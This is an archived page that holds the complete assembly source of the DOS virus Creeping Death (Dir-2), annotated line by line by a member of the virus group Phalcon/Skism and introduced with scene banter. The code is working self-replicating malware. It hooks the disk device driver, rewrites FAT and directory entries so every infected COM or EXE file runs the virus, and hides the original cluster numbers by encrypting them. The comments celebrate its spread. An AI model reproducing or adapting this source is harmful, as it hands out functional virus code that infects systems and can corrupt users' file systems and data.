home *** CD-ROM | disk | FTP | other *** search
-
-
- This is the source to Creeping Death aka Dir-2, commented by Dark
- Angel of Phalcon/Skism. Despite the fact that it was written in Bulgaria,
- I'm sure ol' Zepistotle will claim to have written this virus as well, as
- he did the Jackal virus (written by Priest) in an earlier post, and the
- Max (written by Memory lapse) and Tremor (written by Neurobasher) viruses
- on IRC (Thanks a lot, qark. ;) By the way Zep, we are all still waiting
- for the Tremor source you said you'd post in your chastising rant about
- the unexecuteable Tremor disassembly posted by ScottJP.
-
- Cheers,
- The Clairvoyant.
-
- ------------------------------------------------------------------------------
- ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
- ; I love it. It is my life. I worship the drive it
- ; infects. Take a look at it. Let not my troubles be
- ; in vain. Why did I do this? I sacrifice my life for
- ; the benefit of 40Hex. If you don't read this, I'm
- ; gonna go join [NuKE].
-
- ; Creeping Death V 1.0
- ;
- ; (C) Copyright 1991 by VirusSoft Corp.
-
- i13org = 5f8h
- i21org = 5fch
-
- dir_2 segment byte public
- assume cs:dir_2, ds:dir_2
-
- org 100h
-
- start:
- mov sp,600h ; Set up the stack pointer
- inc word ptr counter ; Generation counter
- xor cx,cx
- mov ds,cx ; DS points to interrupt table
- lds ax, ds:[0c1h] ; Find interrupt 30h
- add ax,21h ; Change it to Int 21h
- push ds ; Save it on stack for use by
- push ax ; subroutine "jump"
- mov ah,30h ; Get DOS version
- call jump
- cmp al,4 ; DOS 4.X+ : SI = 0
- sbb si,si ; DOS 2/3 : SI = -1
- mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
- ; "never accessed"
- mov bx,60h ; Adjust memory in ES to
- mov ah,4ah ; BX paragraphs.
- call jump
-
- mov ah,52h ; Get DOS List of Lists
- call jump ; to ES:BX
- push es:[bx-2] ; Save Segment of first MCB
- lds bx,es:[bx] ; DS:BX -> 1st DPB
- ; (Drive parameter block)
- search: mov ax,[bx+si+15h] ; Get segment of device driver
- cmp ax,70h ; Is it CONFIG? (I think)
- jne next ; If not, try again
- xchg ax,cx ; Move driver segment to CX
- mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
- mov di,[bx+si+13h] ; Save offset of device driver
- ; Original device driver
- ; address in CX:DI
- mov [bx+si+13h],offset header ; Replace with our own
- mov [bx+si+15h],cs ; (header)
- next: lds bx,[bx+si+19h] ; Get next device block
- cmp bx,-1 ; Is it the last one?
- jne search ; If not, search it
- jcxz install
-
- pop ds ; Restore segment of first
- mov ax,ds ; MCB
- add ax,ds:[3] ; Go to next MCB
- inc ax ; AX = segment next MCB
- mov dx,cs ; DX = MCB owning current
- dec dx ; program
- cmp ax,dx ; Are these the same?
- jne no_boot ; If not, we are not currently
- ; in the middle of a reboot
- add word ptr ds:[3],61h ; Increase length owned by
- ; MCB by 1552 bytes
- no_boot: mov ds,dx ; DS = MCB owning current
- ; program
- mov word ptr ds:[1],8 ; Set owner = DOS
-
- mov ds,cx ; DS = segment of original
- ; device driver
- les ax,[di+6] ; ES = offset int handler
- ; AX = offset strategy entry
- mov word ptr cs:str_block,ax ; Save entry point
- mov word ptr cs:int_block,es ; And int block for use in
- ; function _in
- cld ; Scan for the write
- mov si,1 ; function in the
- scan: dec si ; original device driver
- lodsw
- cmp ax,1effh
- jne scan
- mov ax,2cah ; Wicked un-yar place o'
- cmp [si+4],ax ; doom.
- je right
- cmp [si+5],ax
- jne scan
- right: lodsw
- push cs
- pop es
- mov di,offset modify+1 ; Save address of patch
- stosw ; area so it can be changed
- xchg ax,si ; later.
- mov di,offset i13org ; This is in the stack, but
- cli ; it is used by "i13pr"
- movsw
- movsw
-
- mov dx,0c000h ; Scan for hard disk ROM
- ; Start search @ segment C000h
- fdsk1: mov ds,dx ; Load up the segment
- xor si,si ; atart at offset 0000h
- lodsw ; Scan for the signature
- cmp ax,0aa55h ; Is it the signature?
- jne fdsk4 ; If not, change segment
- cbw ; clear AH
- lodsb ; load a byte to AL
- mov cl,9
- sal ax,cl ; Shift left, 0 filled
- fdsk2: cmp [si],6c7h
- jne fdsk3
- cmp word ptr [si+2],4ch
- jne fdsk3
- push dx ; Save the segment
- push [si+4] ; and offset on stack
- jmp short death ; for use by i13pr
-
- install: int 20h
- file: db "c:",255,0
- fdsk3: inc si ; Increment search offset
- cmp si,ax ; If we are not too high,
- jb fdsk2 ; try again
- fdsk4: inc dx ; Increment search segment
- cmp dh,0f0h ; If we are not in high
- jb fdsk1 ; memory, try again
-
- sub sp,4 ; effectively push dummy vars.
- death: push cs ; on stack for use by i13pr
- pop ds
- mov bx,ds:[2ch] ; Get environment from PSP
- mov es,bx
- mov ah,49h ; Release it (to save memory)
- call jump
- xor ax,ax
- test bx,bx ; Is BX = 0?
- jz boot ; If so, we are booting now
- mov di,1 ; and not running a file
- seek: dec di ; Search for end of
- scasw ; the environment block
- jne seek
- lea si,[di+2] ; SI points to filename
- jmp short exec ; (in DOS 3.X+)
- ; Execute that file
- boot: mov es,ds:[16h] ; get PSP of parent
- mov bx,es:[16h] ; get PSP of parent
- dec bx ; go to its MCB
- xor si,si
- exec: push bx
- mov bx,offset param ; Set up parameter block
- ; for EXEC function
- mov [bx+4],cs ; segment to command line
- mov [bx+8],cs ; segment to 1st FCB
- mov [bx+12],cs ; segment to 2nd FCB
- pop ds
- push cs
- pop es
-
- mov di,offset f_name
- push di ; Save filename offset
- mov cx,40 ; Copy the filename to
- rep movsw ; the buffer
- push cs
- pop ds
-
- mov ah,3dh ; Handle open file
- mov dx,offset file ; "c: ",0
- call jump
- pop dx ; DS:DX -> filename
-
- mov ax,4b00h ; Load and Execute
- call jump ; ES:BX = param block
- mov ah,4dh ; Get errorlevel
- call jump
- mov ah,4ch ; Terminate
-
- jump: pushf ; Simulate an interrupt 21h
- call dword ptr cs:[i21org]
- ret
-
-
- ;--------Installation complete
-
- i13pr: mov ah,3 ; Write AL sectors from ES:BX
- jmp dword ptr cs:[i13org] ; to track CH, sector CL,
- ; head DH, drive DL
-
-
- main: push ax ; driver
- push cx ; strategy block
- push dx
- push ds
- push si
- push di
-
- push es ; Move segment of parameter
- pop ds ; block to DS
- mov al,[bx+2] ; [bx+2] holds command code
-
- cmp al,4 ; Input (read)
- je input
- cmp al,8 ; Output (write)
- je output
- cmp al,9 ; Output (write) with verify
- je output
-
- call in_ ; Call original device
- cmp al,2 ; Request build BPB
- jne ppp ; If none of the above, exit
- lds si,[bx+12h] ; DS:SI point to BPB table
- mov di,offset bpb_buf ; Replace old pointer with
- mov es:[bx+12h],di ; a pointer to our own
- mov es:[bx+14h],cs ; BPB table
- push es ; Save segment of parameters
- push cs
- pop es
- mov cx,16 ; Copy the old BPB table to
- rep movsw ; our own
- pop es ; Restore parameter segment
- push cs
- pop ds
- mov al,[di+2-32] ; AL = sectors per allocation
- cmp al,2 ; unit. If less than
- adc al,0 ; 2, increment
- cbw ; Extend sign to AH (clear AH)
- cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
- je m32 ; If so, big partition (>32MB)
- sub [di+8-32],ax ; Decrease space of disk by
- ; one allocation unit(cluster)
- jmp short ppp ; Exit
- m32: sub [di+15h-32],ax ; Handle large partitions
- sbb word ptr [di+17h-32],0
-
- ppp: pop di
- pop si
- pop ds
- pop dx
- pop cx
- pop ax
- rts: retf ; We are outta here!
-
- output: mov cx,0ff09h
- call check ; is it a new disk?
- jz inf_sec ; If not, go away
- call in_ ; Call original device handler
- jmp short inf_dsk
-
- inf_sec: jmp _inf_sec
- read: jmp _read
- read_: add sp,16 ; Restore the stack
- jmp short ppp ; Leave device driver
-
- input: call check ; Is it a new disk?
- jz read ; If not, leave
- inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
- cld
- lea si,[bx+0eh] ; Load from buffer address
- mov cx,8 ; Save device driver request
- save: lodsw ; on the stack
- push ax
- loop save
- mov word ptr [bx+14h],1 ; Starting sector number = 1
- ; (Read 1st FAT)
- call driver ; Read one sector
- jnz read_ ; If error, exit
- mov byte ptr [bx+2],2 ; Otherwise build BPB
- call in_ ; Have original driver do the
- ; work
- lds si,[bx+12h] ; DS:SI points to BPB table
- mov ax,[si+6] ; Number root directory entries
- add ax,15 ; Round up
- mov cl,4
- shr ax,cl ; Divide by 16 to find sectors
- ; of root directory
- mov di,[si+0bh] ; DI = sectors/FAT
- add di,di ; Double for 2 FATs
- stc ; Add one for boot record
- adc di,ax ; Add sector size of root dir
- push di ; to find starting sector of
- ; data (and read)
- cwd ; Clear DX
- mov ax,[si+8] ; AX = total sectors
- test ax,ax ; If it is zero, then we have
- jnz more ; an extended partition(>32MB)
- mov ax,[si+15h] ; Load DX:AX with total number
- mov dx,[si+17h] ; of sectors
- more: xor cx,cx
- sub ax,di ; Calculate FAT entry for last
- ; sector of disk
- sbb dx,cx
- mov cl,[si+2] ; CL = sectors/cluster
- div cx ; AX = cluster #
- cmp cl,2 ; If there is more than 1
- sbb ax,-1 ; cluster/sector, add one
- push ax ; Save cluster number
- call convert ; AX = sector number to read
- ; DX = offset in sector AX
- ; of FAT entry
- ; DI = mask for EOF marker
- mov byte ptr es:[bx+2],4 ; INPUT (read)
- mov es:[bx+14h],ax ; Starting sector = AX
- call driver ; One sector only
- again: lds si,es:[bx+0eh] ; DS:SI = buffer address
- add si,dx ; Go to FAT entry
- sub dh,cl ; Calculate a new encryption
- adc dx,ax ; value
- mov word ptr cs:gad+1,dx ; Change the encryption value
- cmp cl,1 ; If there is 0 cluster/sector
- je small_ ; then jump to "small_"
- mov ax,[si] ; Load AX with offset of FAT
- ; entry
- and ax,di ; Mask it with value from
- ; "convert" then test to see
- ; if the sector is fine
- cmp ax,0fff7h ; 16 bit reserved/bad
- je bad
- cmp ax,0ff7h ; 12 bit reserved/bad
- je bad
- cmp ax,0ff70h ; 12 bit reserved/bad
- jne ok
- bad: pop ax ; Tried to replicate on a bad
- dec ax ; cluster. Try again on a
- push ax ; lower one.
- call convert ; Find where it is in the FAT
- jmp short again ; and try once more
- small_: not di ; Reverse mask bits
- and [si],di ; Clear other bits
- pop ax ; AX = cluster number
- push ax
- inc ax ; Need to do 2 consecutive
- push ax ; bytes
- mov dx,0fh
- test di,dx
- jz here
- inc dx ; Multiply by 16
- mul dx
- here: or [si],ax ; Set cluster to next
- pop ax ; Restore cluster of write
- call convert ; Calculate buffer offset
- mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
- add si,dx
- mov ax,[si]
- and ax,di
- ok: mov dx,di ; DI = mask from "convert"
- dec dx
- and dx,di ; Yerg!
- not di
- and [si],di
- or [si],dx ; Set [si] to DI
-
- cmp ax,dx ; Did we change the FAT?
- pop ax ; i.e. Are we already on this
- pop di ; disk?
- mov word ptr cs:pointer+1,ax ; Our own starting cluster
- je _read_ ; If we didn't infect, then
- ; leave the routine. Oh
- ; welp-o.
- mov dx,[si]
- push ds
- push si
- call write ; Update the FAT
- pop si
- pop ds
- jnz _read_ ; Quit if there's an error
- call driver
- cmp [si],dx
- jne _read_
- dec ax
- dec ax
- mul cx ; Multiply by sectors/cluster
- ; to find the sector of the
- ; write
- add ax,di
- adc dx,0
- push es
- pop ds
- mov word ptr [bx+12h],2 ; Byte/sector count
- mov [bx+14h],ax ; Starting sector #
- test dx,dx
- jz less
- mov word ptr [bx+14h],-1 ; Flag extended partition
- mov [bx+1ah],ax ; Handle the sector of the
- mov [bx+1ch],dx ; extended partition
- less: mov [bx+10h],cs ; Transfer address segment
- mov [bx+0eh],100h ; and the offset (duh)
- call write ; Zopy ourselves!
- ; (We want to travel)
- _read_: std
- lea di,[bx+1ch] ; Restore device driver header
- mov cx,8 ; from the stack
- load: pop ax
- stosw
- loop load
- _read: call in_ ; Call original device handler
-
- mov cx,9
- _inf_sec:
- mov di,es:[bx+12h] ; Bytes/Sector
- lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
- sal di,cl ; Multiply by 512
- ; DI = byte count
- xor cl,cl
- add di,si ; Go to address in the buffer
- xor dl,dl ; Flag for an infection in
- ; function find
- push ds
- push si
- call find ; Infect the directory
- jcxz no_inf
- call write ; Write it back to the disk
- and es:[bx+4],byte ptr 07fh ; Clear error bit in status
- ; word
- no_inf: pop si
- pop ds
- inc dx ; Flag for a decryption in
- ; function find
- call find ; Return right information to
- ; calling program
- jmp ppp
-
- ;--------Subroutines
-
- find: mov ax,[si+8] ; Check filename extension
- cmp ax,"XE" ; in directory structure
- jne com
- cmp [si+10],al
- je found
- com: cmp ax,"OC"
- jne go_on
- cmp byte ptr [si+10],"M"
- jne go_on
- found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
- jnz go_on ; to see if it is too big
- test [si+1dh],03ff8h ; <2048B ; Check file size low word
- jz go_on ; to see if it is too small
- test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
- jnz go_on ; volume label or system file
- test dl,dl ; If none of these, check DX
- jnz rest ; If not 0, decrypt
- pointer: mov ax,1234h ; mov ax, XX modified elsewhere
- cmp ax,[si+1ah] ; Check for same starting
- ; cluster number as us
- je go_on ; If it is, then try another
- xchg ax,[si+1ah] ; Otherwise make it point to
- ; us.
- gad: xor ax,1234h ; Encrypt their starting
- ; cluster
- mov [si+14h],ax ; And put it in area reserved
- ; by DOS for no purpose
- loop go_on ; Try another file
- rest: xor ax,ax ; Disinfect the file
- xchg ax,[si+14h] ; Get starting cluster
- xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
- mov [si+1ah],ax ; and put it back
- go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
- dw offset gad+1 ; Change encryption and
- add si,32 ; go to next file
- cmp di,si ; If it is not past the end of
- jne find ; the buffer, then try again
- ret ; Otherwise quit
-
- check: mov ah,[bx+1] ; ah = unit code (block device
- ; only)
- drive: cmp ah,-1 ; cmp ah, XX can change.
- ; Compare with the last call
- ; -1 is just a dummy
- ; impossible value that will
- ; force the change to be true
- mov byte ptr cs:[drive+2],ah ; Save this call's drive
- jne changed ; If not the same as last call
- ; media has changed
- push [bx+0eh] ; If it is the same physical
- ; drive, see if floppy has
- ; been changed
- mov byte ptr [bx+2],1 ; Tell original driver to do a
- call in_ ; media check (block only)
- cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
- pop [bx+0eh] ; media has not been changed
- mov [bx+2],al ; Restore command code
- changed: ret ; CF,ZF set if media has not
- ; been changed, not set if
- ; has been changed or we don't
- ; know
- write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
- jae in_ ; original device handler
- ; and return to caller
- mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
- mov si,70h
- mov ds,si ; DS = our segment
- modify: mov si,1234h ; Address is changed elsewhere
- push [si]
- push [si+2]
- mov [si],offset i13pr
- mov [si+2],cs
- call in_ ; Call original device handler
- pop [si+2]
- pop [si]
- ret
-
- driver: mov word ptr es:[bx+12h],1 ; One sector
- in_: ; in_ first calls the strategy
- ; of the original device
- ; driver and then calls the
- ; interrupt handler
- db 09ah ; CALL FAR PTR
- str_block:
- dw ?,70h ; address
- db 09ah ; CALL FAR PTR
- int_block:
- dw ?,70h ; address
- test es:[bx+4],byte ptr 80h ; Was there an error?
- ret
-
- convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
- jae fat_16 ; 0FF0h = reserved cluster
- mov si,3 ; 12 bit FAT
- xor word ptr cs:[si+gad-1],si ; Change the encryption value
- mul si ; Multiply by 3 and
- shr ax,1 ; divide by 2
- mov di,0fffh ; Mark it EOF (low 12 bits)
- jnc cont ; if it is even, continue
- mov di,0fff0h ; otherwise, mark it EOF (high
- jmp short cont ; 12 bits) and then continue
- fat_16: mov si,2 ; 16 bit FAT
- mul si ; Double cluster #
- mov di,0ffffh ; Mark it as end of file
- cont: mov si,512
- div si ; AX = sector number
- ; (relative to start of FAT)
- ; DX = offset in sector AX
- header: inc ax ; Increment AX to account for
- ret ; boot record
-
- counter: dw 0
-
- dw 842h ; Attribute
- ; Block device
- ; DOS 3 OPEN/CLOSE removable
- ; media calls supported
- ; Generic IOCTL call supported
- ; Supports 32 bit sectors
- dw offset main ; Strategy routine
- dw offset rts ; Interrupt routine (rtf)
- db 7fh ; Number of subunits supported
- ; by this driver. Wow, lookit
- ; it -- it's so large and juicy
-
- ; Parameter block format:
- ; 0 WORD Segment of environment
- ; 2 DWORD pointer to command line
- ; 6 DWORD pointer to 1st default FCB
- ;10 DWORD pointer to 2nd default FCB
- param: dw 0,80h,?,5ch,?,6ch,?
-
- bpb_buf: db 32 dup(?)
- f_name: db 80 dup(?)
-
- ;--------The End.
- dir_2 ends
- end start
-
-